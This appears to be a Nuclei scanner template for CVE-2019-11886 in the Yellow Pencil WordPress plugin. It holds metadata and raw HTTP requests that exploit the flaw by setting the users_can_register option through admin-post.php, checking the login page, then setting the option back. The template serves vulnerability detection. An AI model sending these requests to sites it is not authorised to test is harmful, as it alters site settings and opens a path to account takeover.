id: CVE-2019-11886

info:
  name: Yellow Pencil Visual Theme Customizer < 7.2.1 - Privilege Escalation
  author: daffainfo
  severity: high
  description: |
    The WaspThemes Visual CSS Style Editor (aka yellow-pencil-visual-theme-customizer) plugin before 7.2.1 for WordPress allows yp_option_update CSRF, as demonstrated by use of yp_remote_get to obtain admin access.
  impact: |
    Unauthenticated attackers can exploit CSRF to escalate privileges to administrator level, gaining complete control over the WordPress site including content manipulation and user management.
  remediation: |
    Upgrade to Yellow Pencil Visual Theme Customizer version 7.2.1 or later.
  reference:
    - https://www.wordfence.com/blog/2019/04/zero-day-vulnerability-in-yellow-pencil-visual-theme-customizer-exploited-in-the-wild/
    - https://web.archive.org/web/20190410184502/https://www.pluginvulnerabilities.com/2019/04/09/recently-closed-visual-css-style-editor-wordpress-plugin-contains-privilege-escalation-vulnerability-that-leads-to-option-update-vulnerability/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-11886
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2019-11886
    epss-score: 0.0189
    epss-percentile: 0.77503
    cwe-id: CWE-352
    cpe: cpe:2.3:a:yellowpencil:visual_css_style_editor:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: waspthemes
    product: yellow_pencil_visual_theme_customizer
    framework: wordpress
    fofa-query: body="wp-content/plugins/yellow-pencil-visual-theme-customizer/" && body="wp-"
  tags: cve,cve2019,wp,wordpress,wp-plugin,yellow-pencil-visual-theme-customizer,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-admin/admin-post.php?yp_remote_get=test HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        yp_json_import_data=[{"users_can_register":"MQ=="}]

      - |
        GET /wp-login.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains(body_2, 'wp-login-register')"
          - "contains(body_2, '/wp-login.php?action=lostpassword')"
          - 'status_code_2 == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-post.php?yp_remote_get=test HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        yp_json_import_data=[{"users_can_register":"MA=="}]

      - |
        GET /wp-login.php?{{randstr}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "!contains(body_2, 'wp-login-register')"
          - "contains(body_2, '/wp-login.php?action=lostpassword')"
          - 'status_code_2 == 200'
        condition: and
# digest: 4a0a0047304502210087204cae8ed3bf62eababa1e04d12b62300ae7b05955db73cce8435e0c028f650220404bb8ecc14452e0415b0a129782520ce106eddbcf302f73142e5327a2e46c31:922c64590222798bb761d5b6d8e72950